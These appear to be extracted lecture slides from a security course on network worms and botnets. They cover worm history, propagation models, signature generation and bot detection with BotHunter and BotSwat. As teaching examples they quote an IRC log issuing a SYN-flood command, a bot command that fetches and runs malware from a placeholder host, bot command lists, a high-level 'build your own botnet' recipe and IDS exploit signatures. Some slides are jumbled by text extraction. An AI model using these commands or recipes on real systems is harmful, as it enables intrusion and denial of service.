Spring 2008
CS 155
Network Worms and Bots
John Mitchell
Outline
Worms


Worm examples and propagation methods
Detection methods
 Traffic patterns: EarlyBird
 Vulnerabilities: Generic Exploit Blocking

Disabling worms
 Generate signatures for network or host-based filters
Bots



Structure and use of bots
Recognizing bot propagation
Recognizing bot operation
 Network-based methods
 Host-based methods
2
Worm
A worm is self-replicating software designed to
spread through the network


Typically, exploit security flaws in widely used services
Can cause enormous damage
 Launch DDOS attacks, install bot networks
 Access sensitive information
 Cause confusion by corrupting the sensitive information
Worm vs Virus vs Trojan horse



3
A virus is code embedded in a file or program
Viruses and Trojan horses rely on human intervention
Worms are self-contained and may spread autonomously
Cost of worm attacks
Morris worm, 1988

Infected approximately 6,000 machines
 10% of computers connected to the Internet

cost ~ $10 million in downtime and cleanup
Code Red worm, July 16 2001


Direct descendant of Morris’ worm
Infected more than 500,000 servers
 Programmed to go into infinite sleep mode July 28

Caused ~ $2.6 Billion in damages,
Love Bug worm: $8.75 billion
4
Statistics: Computer Economics Inc., Carlsbad, California
Internet Worm (First major attack)
Released November 1988


Program spread through Digital, Sun workstations
Exploited Unix security vulnerabilities
 VAX computers and SUN-3 workstations running versions
4.2 and 4.3 Berkeley UNIX code
Consequences


No immediate damage from program itself
Replication and threat of damage
 Load on network, systems used in attack
 Many systems shut down to prevent further attack
5
Some historical worms of note
6
Worm
Date
Distinction
Morris
11/88 Used multiple vulnerabilities, propagate to “nearby” sys
ADM
5/98
Random scanning of IP address space
Ramen
1/01
Exploited three vulnerabilities
Lion
3/01
Stealthy, rootkit worm
Cheese
6/01
Vigilante worm that secured vulnerable systems
Code Red
7/01
First sig Windows worm; Completely memory resident
Walk
8/01
Recompiled source code locally
Nimda
9/01
Windows worm: client-to-server, c-to-c, s-to-s, …
Scalper
6/02
11 days after announcement of vulnerability; peer-topeer network of compromised systems
Slammer
1/03
Used a single UDP packet for explosive growth
Kienzle and Elder
Increasing propagation speed
Code Red, July 2001

Affects Microsoft Index Server 2.0,
 Windows 2000 Indexing service on Windows NT 4.0.
 Windows 2000 that run IIS 4.0 and 5.0 Web servers


Exploits known buffer overflow in Idq.dll
Vulnerable population (360,000 servers) infected in 14 hours
SQL Slammer, January 2003


Affects in Microsoft SQL 2000
Exploits known buffer overflow vulnerability
 Server Resolution service vulnerability reported June 2002
 Patched released in July 2002 Bulletin MS02-39

7
Vulnerable population infected in less than 10 minutes
Code Red
Initial version released July 13, 2001



Sends its code as an HTTP request
HTTP request exploits buffer overflow
Malicious code is not stored in a file
 Placed in memory and then run
When executed,

Worm checks for the file C:\Notworm
 If file exists, the worm thread goes into infinite sleep state

Creates new threads
 If the date is before the 20th of the month, the next 99
threads attempt to exploit more computers by targeting
random IP addresses
8
Code Red of July 13 and July 19
Initial release of July 13

1st through 20th month: Spread
 via random scan of 32-bit IP addr space

20th through end of each month: attack.
 Flooding attack against 198.137.240.91 (www.whitehouse.gov)

Failure to seed random number generator  linear growth
Revision released July 19, 2001.



9
White House responds to threat of flooding attack by
changing the address of www.whitehouse.gov
Causes Code Red to die for date ≥ 20th of the month.
But: this time random number generator correctly seeded
Slides: Vern Paxson
10
Slide: Vern Paxson
Measuring activity: network telescope
Monitor cross-section of Internet address space, measure traffic
“Backscatter” from DOS floods
 Attackers probing blindly
 Random scanning from worms
LBNL’s cross-section: 1/32,768 of Internet
UCSD, UWisc’s cross-section: 1/256.

11
Spread of Code Red
Network telescopes estimate of # infected hosts:
360K. (Beware DHCP & NAT)
Course of infection fits classic logistic.
Note: larger the vulnerable population, faster the
worm spreads.
That night ( 20th), worm dies …
… except for hosts with inaccurate clocks!
It just takes one of these to restart the worm on
August 1st …
12
Slides: Vern Paxson
13
Slides: Vern Paxson
Code Red 2
Released August 4, 2001.
Comment in code: “Code Red 2.”

But in fact completely different code base.
Payload: a root backdoor, resilient to reboots.
Bug: crashes NT, only works on Windows 2000.
Localized scanning: prefers nearby addresses.
Kills Code Red 1.
Safety valve: programmed to die Oct 1, 2001.
14
Slides: Vern Paxson
Striving for Greater Virulence: Nimda
Released September 18, 2001.
Multi-mode spreading:





attack IIS servers via infected clients
email itself to address book as a virus
copy itself across open network shares
modifying Web pages on infected servers w/ client
exploit
scanning for Code Red II backdoors (!)
worms form an ecosystem!
Leaped across firewalls.
15
Slides: Vern Paxson
Code Red 2 kills
off Code Red 1
CR 1
returns
thanks
to bad
clocks
16
Nimda enters the
ecosystem
Code Red 2 settles
into weekly pattern
Code Red 2 dies off
as programmed
Slides: Vern Paxson
How do worms propagate?
Scanning worms

Worm chooses “random” address
Coordinated scanning

Different worm instances scan different addresses
Flash worms

Assemble tree of vulnerable hosts in advance, propagate along tree
 Not observed in the wild, yet
 Potential for 106 hosts in < 2 sec ! [Staniford]
Meta-server worm

Ask server for hosts to infect (e.g., Google for “powered by phpbb”)
Topological worm:

Use information from infected hosts (web server logs, email address
books, config files, SSH “known hosts”)
Contagion worm

17
Propagate parasitically along with normally initiated communication
How fast are scanning worms?
Model propagation as infectious epidemic

Simplest version: Homogeneous random contacts
N: population size
S(t): susceptible hosts at time t
I(t): infected hosts at time t
ß: contact rate
i(t): I(t)/N, s(t): S(t)/N
dI
IS

dt
N
dS
IS
 
dt
N
18
di
  i (1  i )
dt
courtesy Paxson,
Staniford, Weaver
e  (t T )
i (t ) 
1  e  (t T )
Shortcomings of simplified model
Prediction is faster than observed propagation
Possible reasons


Model ignores infection time, network delays
Ignores reduction in vulnerable hosts by patching
Model supports unrealistic conclusions

19
Example: When the Top-100 ISP’s deploy
containment strategies, they still can not prevent
a worm spreading at 100 probes/sec from
affecting 18% of the internet, no matter what the
reaction time of the system towards containment
Analytical Active Worm Propagation Model
[Chen et al., Infocom 2003]
More detailed discrete time model


Assume infection propagates in one time step
Notation






N – number of vulnerable machines
h – “hitlist: number of infected hosts at start
s – scanning rate: # of machines scanned per infection
d – death rate: infections detected and eliminated
p – patching rate: vulnerable machines become invulnerable
At time i, ni are infected and mi are vulnerable
Discrete time difference equation


20
Guess random IP addr, so infection probability (mi-ni)/232
Number infected reduced by pni + dni
Effect of parameters on propagation
1.
HitList Size
2. Patching Rate
3.Time to Complete Infection
(Plots are for 1M vulnerable machines, 100 scans/sec, death rate 0.001/second
21
Other models:
Wang et al, Modeling Timing Parameters … , WORM ’04 (includes delay)
Ganesh et al, The Effect of Network Topology …, Infocom 2005 (topology)
Worm Detection and Defense
Detect via honeyfarms: collections of “honeypots” fed
by a network telescope.

Any outbound connection from honeyfarm = worm.
(at least, that’s the theory)


Distill signature from inbound/outbound traffic.
If telescope covers N addresses, expect detection when
worm has infected 1/N of population.
Thwart via scan suppressors: network elements that
block traffic from hosts that make failed connection
attempts to too many other hosts


22
5 minutes to several weeks to write a signature
Several hours or more for testing
Need for automation
months
days
Program
Viruses
E-mail
Worms
Preautomation
Network
Worms
Postautomation
hrs
mins
Flash
Worms
Contagion Period
Signature Response Period
secs
1990
23
Macro
Viruses
Time
Signature
Response Period
Contagion Period
Current threats can spread faster than defenses can reaction
Manual capture/analyze/signature/rollout model too slow
2005
Slide: Carey Nachenberg, Symantec
Signature inference
Challenge

need to automatically learn a content “signature” for each
new worm – potentially in less than a second!
Some proposed solutions


24
Singh et al, Automated Worm Fingerprinting, OSDI ’04
Kim et al, Autograph: Toward Automated, Distributed Worm
Signature Detection, USENIX Sec ‘04
Signature inference
Monitor network and look for strings common
to traffic with worm-like behavior

25
Signatures can then be used for content filtering
Slide: S Savage
Content sifting
Assume there exists some (relatively) unique
invariant bitstring W across all instances of a
particular worm (true today, not tomorrow...)
Two consequences


Content Prevalence: W will be more common in traffic
than other bitstrings of the same length
Address Dispersion: the set of packets containing W will
address a disproportionate number of distinct sources and
destinations
Content sifting: find W’s with high content prevalence
and high address dispersion and drop that traffic
26
Slide: S Savage
Observation:
High-prevalence strings are rare
Cumulative fraction of signatures
1
0.998
0.996
0.994
0.992
0.99
0.988
0.986
0.984
1
Only 0.6% of the 40 byte
substrings repeat more than
3 times in a minute
Number of repeats
27
(Stefan
Savage, UCSD *)
10
100
1000
10000
100000
The basic algorithm
Detector in
network
A
B
C
cnn.com
E
Prevalence Table
28
(Stefan
Savage, UCSD *)
D
Address Dispersion Table
Sources
Destinations
The basic algorithm
Detector in
network
A
B
C
cnn.com
E
D
Prevalence Table
1
29
(Stefan
Savage, UCSD *)
Address Dispersion Table
Sources
Destinations
1 (A)
1 (B)
The basic algorithm
Detector in
network
A
B
C
cnn.com
E
D
Prevalence Table
30
(Stefan
Savage, UCSD *)
1
1
Address Dispersion Table
Sources
Destinations
1 (A)
1 (C)
1 (B)
1 (A)
The basic algorithm
Detector in
network
A
B
C
cnn.com
E
D
Prevalence Table
31
(Stefan
Savage, UCSD *)
2
1
Address Dispersion Table
Sources
Destinations
2 (A,B)
1 (C)
2 (B,D)
1 (A)
The basic algorithm
Detector in
network
A
B
C
cnn.com
E
D
Prevalence Table
32
(Stefan
Savage, UCSD *)
3
1
Address Dispersion Table
Sources
Destinations
3 (A,B,D)
3 (B,D,E)
1 (C)
1 (A)
Challenges
Computation

To support a 1Gbps line rate we have 12us to process each
packet, at 10Gbps 1.2us, at 40Gbps…
 Dominated by memory references; state expensive

Content sifting requires looking at every byte in a packet
State


On a fully-loaded 1Gbps link a naïve implementation can
easily consume 100MB/sec for table
Computation/memory duality: on high-speed (ASIC)
implementation, latency requirements may limit state to
on-chip SRAM
33
(Stefan
Savage, UCSD *)
Which substrings to index?
Approach 1: Index all substrings
 Way too many substrings  too much computation  too much
state
Approach 2: Index whole packet
 Very fast but trivially evadable (e.g., Witty, Email Viruses)
Approach 3: Index all contiguous substrings of a fixed
length ‘S’
 Can capture all signatures of length ‘S’ and larger
A B C D E F G H I J K
34
(Stefan
Savage, UCSD *)
How to represent substrings?
Store hash instead of literal to reduce state
Incremental hash to reduce computation
Rabin fingerprint is one such efficient incremental
hash function [Rabin81,Manber94]

P1
One multiplication, addition and mask per byte
R A N D A B C D O M
Fingerprint = 11000000
P2
R A B C D A N D O M
Fingerprint = 11000000
35
(Stefan
Savage, UCSD *)
How to subsample?
Approach 1: sample packets

If we chose 1 in N, detection will be slowed by N
Approach 2: sample at particular byte
offsets


Susceptible to simple evasion attacks
No guarantee that we will sample same sub-string
in every packet
Approach 3: sample based on the hash
of the substring
36
(Stefan
Savage, UCSD *)
Finding “heavy hitters” via Multistage Filters
Hash 1
Increment
Counters
Stage 1
Hash 2
Comparator
Field
Extraction
Stage 2
Comparator
Hash 3
Stage 3
Comparator
37
(Stefan
Savage, UCSD *)
ALERT !
If
all counters
above
threshold
Multistage filters in action
Counters
...
Threshold
Grey = other hahes
Stage 1
Yellow = rare hash
Green = common hash
Stage 2
Stage 3
38
(Stefan
Savage, UCSD *)
Observation:
High address dispersion is rare too
Naïve implementation might maintain a list of sources
(or destinations) for each string hash
But dispersion only matters if its over threshold
 Approximate counting may suffice
 Trades accuracy for state in data structure
Scalable Bitmap Counters
 Similar to multi-resolution bitmaps [Estan03]
 Reduce memory by 5x for modest accuracy error
39
(Stefan
Savage, UCSD *)
Scalable Bitmap Counters
1
Hash(Source)
Hash : based on Source (or Destination)
Sample : keep only a sample of the bitmap
Estimate : scale up sampled count
Adapt : periodically increase scaling factor
Error Factor = 2/(2numBitmaps-1)
With 3, 32-bit bitmaps, error factor = 28.5%
40
(Stefan
Savage, UCSD *)
1
Content sifting summary
Index fixed-length substrings using
incremental hashes
Subsample hashes as function of hash value
Multi-stage filters to filter out uncommon
strings
Scalable bitmaps to tell if number of distinct
addresses per hash crosses threshold
This is fast enough to implement
41
(Stefan
Savage, UCSD *)
Experience
Quite good.



Detected and automatically generated signatures for every
known worm outbreak over eight months
Can produce a precise signature for a new worm in a
fraction of a second
Software implementation keeps up with 200Mbps
Known worms detected:

Code Red, Nimda, WebDav, Slammer, Opaserv, …
Unknown worms (with no public signatures)
detected:

MsBlaster, Bagle, Sasser, Kibvu, …
42
(Stefan
Savage, UCSD *)
False Positives
Common protocol
headers



Mainly HTTP and SMTP
headers
Distributed (P2P) system
protocol headers
Procedural whitelist
 Small number of popular
protocols
Non-worm
epidemic Activity


SPAM
BitTorrent
43
(Stefan
Savage, UCSD *)
GNUTELLA.CONNECT
/0.6..X-Max-TTL:
.3..X-Dynamic-Qu
erying:.0.1..X-V
ersion:.4.0.4..X
-Query-Routing:.
0.1..User-Agent:
.LimeWire/4.0.6.
.Vendor-Message:
.0.1..X-Ultrapee
r-Query-Routing:
Generic Exploit Blocking
Idea


Write a network IPS signature to generically detect and
block all future attacks on a vulnerability
Different from writing a signature for a specific exploit!
Step #1: Characterize the vulnerability “shape”



Identify fields, services or protocol states that must be
present in attack traffic to exploit the vulnerability
Identify data footprint size required to exploit the
vulnerability
Identify locality of data footprint; will it be localized or
spread across the flow?
Step #2: Write a generic signature that can detect
data that “mates” with the vulnerability shape
Similar to Shield research from Microsoft
44
Slide: Carey Nachenberg, Symantec
Generic Exploit Blocking Example #1
Consider MS02-039 Vulnerability (SQL Buffer Overflow):
Field/service/protocol
UDP port 1434
Packet type: 4
Minimum data footprint
Packet size > 60 bytes
Data Localization
Limited to a single packet
45
BEGIN
Pseudo-signature:
DESCRIPTION:
MS02-039
NAME: MS SQL Vuln
if (packet.port()UDP
== 1434 &&
TRANSIT-TYPE:
TRIGGER:
ANY:ANY->ANY:1434
packet[0]
== 4 &&
OFFSET:
0, PACKET
packet.size()
> 60)
SIG-BEGIN
{
"\x04<getpacketsize(r0)>
report_exploit(MS02-039);
<inrange(r0,61,1000000)>
}<reportid()>"
SIG-END
END
Slide: Carey Nachenberg, Symantec
Generic Exploit Blocking Example #2
Consider MS03-026 Vulnerability (RPC Buffer Overflow):
Field/service/protocol
RPC request on TCP/UDP 135
szName field in
CoGetInstanceFromFile func.
Minimum data footprint
Arguments > 62 bytes
Data Localization
Limited to 256 bytes from
start of RPC bind command
46
BEGIN
DESCRIPTION:
MS03-026
Sample signature:
NAME: RPC Vulnerability
TRANSIT-TYPE: TCP, UDP
if (port ==ANY:ANY->ANY:135
135 &&
TRIGGER:
type == request &&
SIG-BEGIN
func == CoGetInstanceFromFile &&
"\x05\x00\x0B\x03\x10\x00\x00
(about
50 more bytes...)
parameters.length()
> 62)
{ \x00\x00.*\x05\x00
<forward(5)><getbeword(r0)>
report_exploit(MS03-026);
} <inrange(r0,63,20000)>
<reportid()>"
SIG-END
END
Slide: Carey Nachenberg, Symantec
Worm summary
Worm attacks



Many ways for worms to propagate
Propagation time is increasing
Polymorphic worms, other barriers to detection
Detect



Traffic patterns: EarlyBird
Watch attack: TaintCheck and Sting
Look at vulnerabilities: Generic Exploit Blocking
Disable

47
Generate worm signatures and use in network or
host-based filters
Botnet
Collection of compromised hosts


Spread like worms and viruses
Once installed, respond to remote commands
Platform for many attacks




Spam forwarding (70% of all spam?)
Click fraud
Keystroke logging
Distributed denial of service attacks
Serious problem

48

Top concern of banks, online merchants
Vint Cerf: ¼ of hosts connected to Internet
What are botnets used for?
capability
ago
DSNX
create port redirect
√
other proxy
√
download file from web
√
DNS resolution
√
UDP/ping floods
√
other DDoS floods
√
scan/spread
√
spam
√
visit URL
√
evil
G-SyS
sd
Spy
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
Capabilities are exercised via remote commands.
49
√
Building a Bot Network
compromise attempt
Attacker
compromise attempt
compromise attempt
compromise attempt
50
Win XP
FreeBSD
Mac OS X
Win XP
Building a Bot Network
compromise attempt
install bot software
Attacker
compromise attempt
compromise attempt
compromise attempt
install bot software
51
Win XP
compromised
FreeBSD
Mac OS X
Win XP
compromised
Step 2
Win XP
Win XP
Win XP
. . .
. . .
. . .
/connect
jade.va.us.dal.net
/connect
jade.va.us.dal.net
/connect
jade.va.us.dal.net
/join #hacker
/join #hacker
/join #hacker
. . .
. . .
. . .
jade.va.dal.net
52
Step 3
(12:59:27pm) -- A9-pcgbdv (A9-pcgbdv@140.134.36.124)
has joined (#owned) Users : 1646
(12:59:27pm) (@PhaTTy) .ddos.synflood 216.209.82.62
(12:59:27pm) -- A6-bpxufrd (A6-bpxufrd@wp9581.introweb.nl) has joined (#owned) Users : 1647
(12:59:27pm) -- A9-nzmpah (A9-nzmpah@140.122.200.221)
has left IRC (Connection reset by peer)
(12:59:28pm) (@PhaTTy) .scan.enable DCOM
(12:59:28pm) -- A9-tzrkeasv (A9-tzrkeas@220.89.66.93)
has joined (#owned) Users : 1650
53
•
•
•
•
•
54
Spam service
Rent-a-bot
Cash-out
Pump and dump
Botnet rental
Underground commerce
Market in access to bots


Botherd: Collects and manages bots
Access to proxies (“peas”) sold to spammers, often with
commercial-looking web interface
Sample rates



Non-exclusive access to botnet: 10¢ per machine
Exclusive access: 25¢.
Payment via compromised account (eg PayPal) or cash to
dropbox
Identity Theft


Keystroke logging
Complete identities available for $25 - $200+
 Rates depend on financial situation of compromised person
 Include all info from PC files, plus all websites of interest with
passwords/account info used by PC owner
 At $200+, usually includes full credit report
55
[Lloyd Taylor, Keynote Systems, SFBay InfraGard Board ]
Sobig.a In Action
Arrives as an email attachment


Written in C++
Encrypted with Telock to slow analysis
User opens attachment, launching trojan


Downloads file from a free Geocities account
Contains list of URLs pointing to second stage
Fetches second-stage trojan


56
Arbitrary executable file – could be anything
For Sobig.a, second-stage trojan is Lala
Stage 2 – Lala
Communication


Lala notifies a cgi script on a compromised host
Different versions of Lala have different sites and
cgi scripts, perhaps indicating tracking by author
Installation


Lala installs a keylogger and password-protected
Lithium remote access trojan.
Lala downloads Stage 3 trojan
 Wingate proxy (commercial software)
Cleanup

57
Lala removes the Sobig.a trojan
Stage 3 – Wingate
Wingate is a general-purpose port proxy server




555/TCP – RTSP
Service
1180/TCP – SOCKS
1182/TCP – WWW Proxy
1184/TCP – POP3 Proxy
608/TCP – Remote Control
1181/TCP – Telnet Proxy
1183/TCP – FTP Proxy
1185/TCP – SMTP Server
Final state of compromised machine

Complete remote control by Lithium client with password
“adm123”
Complete logging of user’s keystrokes
 Usable for spam relay, http redirects
 Wingate Gatekeeper client can connect to 608/TCP,
can log/change everything

58
Build Your Own Botnet
Pick a vector mechanism



IRC Channels: DCC Filesends, Website Adverts to Exploit Sites
Scan & Sploit: MSBlast
Trojan:
SoBig/BugBear/ActiveX Exploits
Choose a Payload

Backdoors
Do it





 Agobot, SubSeven, DeepThroat
 Most include mechanisms for DDoS, Self-spreading, download/exec
arbitrary code, password stealers.
Compromise an IRC server, or use your own zombied machines
Configure Payload to connect to selected server
Load encryption keys and codes
Release through appropriate compromised systems
Sit back and wait, or start on your next Botnet
[Lloyd Taylor, Keynote Systems, SFBay InfraGard Board ]
59
Bot detection methods
Signature-based (most AV products)
Rule-based


Monitor outbound network connections (e.g. ZoneAlarm, BINDER)
Block certain ports (25, 6667, ...)
Hybrid: content-based filtering


Match network packet contents to known command strings (keywords)
E.g. Gaobot ddos cmds: .ddos.httpflood
Network traffic monitoring

Wenke Lee, Phil Porras: Bot Hunter, …
 Correlate various NIDS alarms to identify “bot infection sequence”


GA Tech: Recognize traffic patterns associated with ddns-based rallying
Stuart Staniford, FireEye
 Detect port scanning to identify suspicious traffic
 Emulate host with taint tracking to identify exploit
60
Introduction
Approaches to Privacy-Preserving Correlation
A Cyber-TA Distributed Correlation Example – botHunter
What is botHunter?
A Real Case Study
Behavior-based Correlation
Architectural Overview
BotHunter:
passive
What
is botHunter?
botHunter Sensors
Correlation Framework
Example botHunter Output
Cyber-TA Integration
bot detection
Snort-based sensor suite for malware event detection





inbound scan detection
remote to local exploit detection
anomaly detection system for exploits over key TCP
protocols
Botnet specific egg download banners,
Victim-to-C&C-based communications exchanges
 particularly for IRC bot protocols
Event correlator


61
combines information from sensors to recognize bots that
infect and coordinate with your internal network assets
Submits “bot-detection profiles” to the Cyber-TA repository
infrastructure
Infection lifecycle
A Behavioral-based
Approach
V-2-A
A-2-V
E2: Inbound
Infection
E3: Egg
Download
E1: Inbound
Scan
A-2-V
• Search for duplex communication
sequences that are indicative of
infection-coordination-infection
lifecycle
62
V-2-C
E5: Outbound
Scan
E4: C&C
Comms
Introduction
Approaches to Privacy-Preserving Correlation
A Cyber-TA Distributed Correlation Example – botHunter
What is botHunter?
A Real Case Study
Behavior-based Correlation
Architectural Overview
BotPhatbot
infection infection
case study: lifecycle
Phatbot
botHunter Sensors
Correlation Framework
Example botHunter Output
Cyber-TA Integration
A: Attack, V: Victim, C: C&C Server
E1: A.*  V.{2745, 135, 1025, 445, 3127, 6129, 139, 5000} (Bagle,
DCOM2, DCOM, NETBIOS, DOOM, DW, NETBIOS, UPNP…TCP
connections w/out content transfers)
E2: A.*  V.135 (Windows DCE RCP exploit in payload)
E3: V.*  A.31373 (transfer a relatively large file via random A port
specified by exploit)
E4: V.*  C.6668 (connect to an IRC server)
E5: V.*  V‘.{2745, 135, 1025, 445, 3127, 6129, 139, 5000} (V begins
search for new infection targets, listens on 11759 for future egg
downloads)
captured in a controlled VMWare environment
63
What is botHunter?
A Real Case Study
Behavior-based Correlation
Architectural Overview
botHunter Sensors
Correlation Framework
Example botHunter Output
Cyber-TA Integration
BotHunter
System
Architecture
Botnets:
Architecture
Overview
Snort 2.6.0
bothunter.config
spp_scade.c|h
SLADE
Span Port to
Ethernet Device
e1: Inbound Malware Scans
spp_scade.c|h
SCADE
Signature
Engine
e2: Payload
Anomalies
botHunter
Ruleset
e5: Outbound Scans
e2: Exploits
e3: Egg Downloads
e4: C&C Traffic
C
T
A P
A
S R
N S
O E
R R
T
bothunter.XML
CTA Anonymizer Plugin
botHunter
Correlator
Java 1.4.2
bot Infection Profile:
• Confidence Score
• Victim IP
• Attacker IP List (by confidence)
• Coordination Center IP (by confidence)
• Full Evidence Trail: Sigs, Scores, Ports
• Infection Time Range
64
Snort +2.6.0, OS: Linux, MacOS, Win, FreeBSD, Solaris, Java +1.4.2
What is botHunter?
A Real Case Study
Behavior-based Correlation
Architectural Overview
botHunter Signature Set
botHunter Sensors
Correlation Framework
Example botHunter Output
Cyber-TA Integration
Replace standard snort rules

Five custom rulesets: e[1-5].rules
Scope

known worm/bot exploit general traffic signatures,
shell/code/script exploits, update/download/registered rules,
C&C command exchanges, outbound scans, malware exploits
Rule sources



Bleeding Edge malware rulesets
Snort Community Rules, Snort Registered Free Set
Cyber-TA Custom bot-specific rules
Current Set: 237 rules, operating on SRI/CSL and GATech networks, relative low false positive rate
65
What is botHunter?
A Real Case Study
Behavior-based Correlation
Architectural Overview
botHunter Sensors
Correlation Framework
Example botHunter Output
Cyber-TA Integration
Detection
botHunter
- Correlation Framework
Bot-State Correlation Data Structure
VictimIP
E1
E2
E3
E4
E5 Score
Characteristics of Bot Declarations
• states are triggered in any order, but
pruning timer reinitializes row state once an
InitTime Trigger is activated
• external stimulus alone cannot trigger bot alert
• 2 x internal bot behavior triggers bot alert
Rows: Valid Internal Home_Net IP
Colums: Bot infection stages
Entry: IP addresses that contributed alerts
to E-Column
Score Column: Cumulative score for per Row
Threshold – (row_score > threshold) 
declare bot
InitTime Triggers – An event that initiate
pruning timer
Pruning Timer – Seconds remaining until a
row is reinitialized
66
• When bot alert is declared, IP addresses are
assigned responsibility based on raw contribution
Defaults:
E1 – Inbound scan detected
E2 – Inbound exploit detected
E3 – Egg download detected
E4 – C&C channel detected
E5 – Outbound scan detected
Threshold = 1.0
Pruning Interval = 120 seconds
weight = .25
weight = .25
weight = .50
weight = .50
weight = .50
Botnets network traffic patterns
Unique characteristic: “rallying”



Bots spread like worms and trojans
Payloads may be common backdoors
Centralized control of botnet is characteristic feature
Georgia Tech idea: DNS



Bots installed at network edge
IP addresses may vary, use Dynamic DNS
Bots talk to controller, make DDNS lookup
 Pattern of DDNS lookup is easy to spot for common botnets!
David Dagon, Sanjeev Dwivedi, Robert Edmonds, Julian Grizzard, Wenke
Lee, Richard Lipton, Merrick Furst; Cliff Zou (U Mass)
67
68
68
69
69
BotSwat
Host-based bot detection
Based on idea of remote control commands
70
What does remote control look like?
http.execute <URL> <local_path>
Invoke system calls:

connect, network send and recv, create file, write file, …
On arguments received over the network:

IP to connect to, object to request, file name, …
Botswat premise


71
We can distinguish the behavior of bots from that of
innocuous processes via detecting “remote control”
We can approximate “remote control” as “using data
received over the network in a system call argument”
http.execute www.badguy.com/malware.exe C:\WIN\bad.exe
agobot
1
3
4
connect(…,www.badguy.com,…) 5
send( …,“…GET /malware.exe…”,…) 7
fcreate(…,“C:\WIN\malware.exe”,…) 8
2
Windows XP
72
NIC
6
S
O
U
R
C
E
S
?
S
I
N
K
S
73
bind(…)
?
BotSwat
CreateProcessA(…)
?
?
NtCreateFile(…)
...
BotSwat architecture: overview
Interposition mechanism (detours)

Interposes on API calls
Tainting module

Instantiates and propagates taint
User-input module

Tracks local user input as received via KB or mouse (“clean”
data); propagates cleanliness
Behavior checking



Monitors invocations of selected system calls
Queries tainting and user-input modules
Determines whether to flag invocation
~70k lines C++ and ~2200 intercepted fxns
74
Library-call level tainting
Intercept calls made by process via a DLL to
memory-copying functions

If C library functions statically linked in (STAT), we won’t see runtime calls to these functions
Handling visibility limitations


Taint a mem region on basis of its contents
Keep track of data received over the network
Taint propagation modes:


75
Cause-and-Effect (C&E) – conservative
Correlative (CORR) – liberal
User input tracking
Goal: Identify actions initiated by local app user
Challenge: data value associated with mouse
input heavily application-defined; not exposed via
API call or similar
Solution: consider all data values referred to by
app while it is handling mouse input event clean
(an over-approximation)
 Figure out when app handling input event
76
System creates message M
MainWndProc(…, UINT uMsg,…){
switch (uMsg) {
case WM_LBUTTONDOWN:
...
... } ...
App executes code
to handle event
DispatchMessage(...)
77
Target Window: W
Input Type: LMB click
Location: <x,y>
System posts M to
thread’s queue
M1
App reads M from queue
GetMessage(...)
M2
M3
Behaviors and gates
tainted open file
NtOpenFile
tainted create file
tainted prog exec
NtCreateFile
...
MoveFile{Ex}{A,W}
Win32DeleteFile
MoveFileWithProgress{Ex}{A,W}
DeleteFile{A,W}
ReplaceFile{A,W}
CreateFile{A,W}, OpenFile,
CopyFile{Ex}{A,W}, fopen,
_open, _lopen, _lcreat, ...
bind tainted IP
bind tainted port
...
tainted send
derived send
sendto tainted IP
sendto tainted port
NtDeviceIoControlFile
…
bind, send, sendto,
WSASend, WSASendTo,
SSL_write, …
Selection of behaviors/gates/sinks:
informed by bot capabilities
78
Evaluation of BotSwat
Bots: ago, DSNX, evil, G-SyS, sd, Spy

Two test scenarios
 C library functions dynamically or statically linked

Many bot variants
 Apply xforms (compr, encr) to bot binary
 Minor source edits (C&C params, config data)
 Variants from ago, sd, & Spy families:

98.2% of all bots seen in wild (’05)
Eight benign programs


79
web browser; clients: email, ftp, ssh, chat, AV signature updater;
IRC server
Chosen as likely to exhibit behavior similar to bots
Results – overview
Detected execution of most candidate cmds
Detected vast majority of bots’ remote control
behavior – even when couldn’t see bots’ calls to
memory-copying functions



# behaviors exhibited:
# behavs detected (DYN, C&E):
# behavs detected (STAT, CORR):
Tested 8 benign progs; not many FPs

80
Under CORR: 8 behaviors; 5 different
207
196
148
Detected commands
capability
ago
port redirect
√
other proxy
√
web download
√
DNS resolution
√
UDP/ping floods
√
oth DDoS floods
√
scan/spread
√
spam
√
visit URL
√
81
DSNX evil G-SyS
sd
Spy
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
√
capability
kill process
open/exec file
keylogging
ago DSNX evil G-SyS sd
√
√
create dir
delete file/dir
list dir
82
create clone
clone attacks
create spy
√
√
√
√
√
√
√
√
√
√
√
√
move file/dir
DCC send file
act as http svr
change C&C svr
√
√
√
√
Spy
√
√
√
√
√
√
√
√
√
√
√
√
file create
create proc
+
+
+
+
killprocess <proc_name>
delete <file_name>
+
rename <old_filename> <new_filename>
+
+
makedir <dirname>
redirect <loc_port> <dst_host> <dst_port>
list <path/dir>
+
+
get <local_filename> (DCC)
+
syn <host/IP> <port> <delay> <time>
+ + +
+
download <URL> <local_path>
httpserver <port> <root_dir>
connect IP
connect port
tainted send
sendto IP
sendto port
file open
execute <program>
kill proc
bind port
Spybot (DYN, C&E)
–
–
+
+
+
+
spfdsyn <host/IP> <port> <delay> <time>
server <host/IP>
83scan
<start_IP> <port> <delay> <out_file>
+
+
+
Botswat – summary
Proof of concept


Single behavior – remote control – detects most malicious bot actions
Resilient to differences that distinguish variants (and even families)
 Works against bots not used in design of method


Independent of command and control protocol, botnet structure
Low false positive rate; can handle with whitelist or other methods
Significant limitations

Interposition at library call level
 Some bots in wild may allow only low-level system call tracking

Need to decide when to raise an alarm
 Correlate low-level system events to identify high-level bot commands
 Experiment with alarm thresholds

Develop malware analysis tool to produce characterization of bot actions
 Instruction-level tainting for developing malspecs, evaluating detection results

Efficient run-time monitor of selected applications in production
environment
 Which processes should be monitored?
84
 How to collect, aggregate, process, and report information efficiently?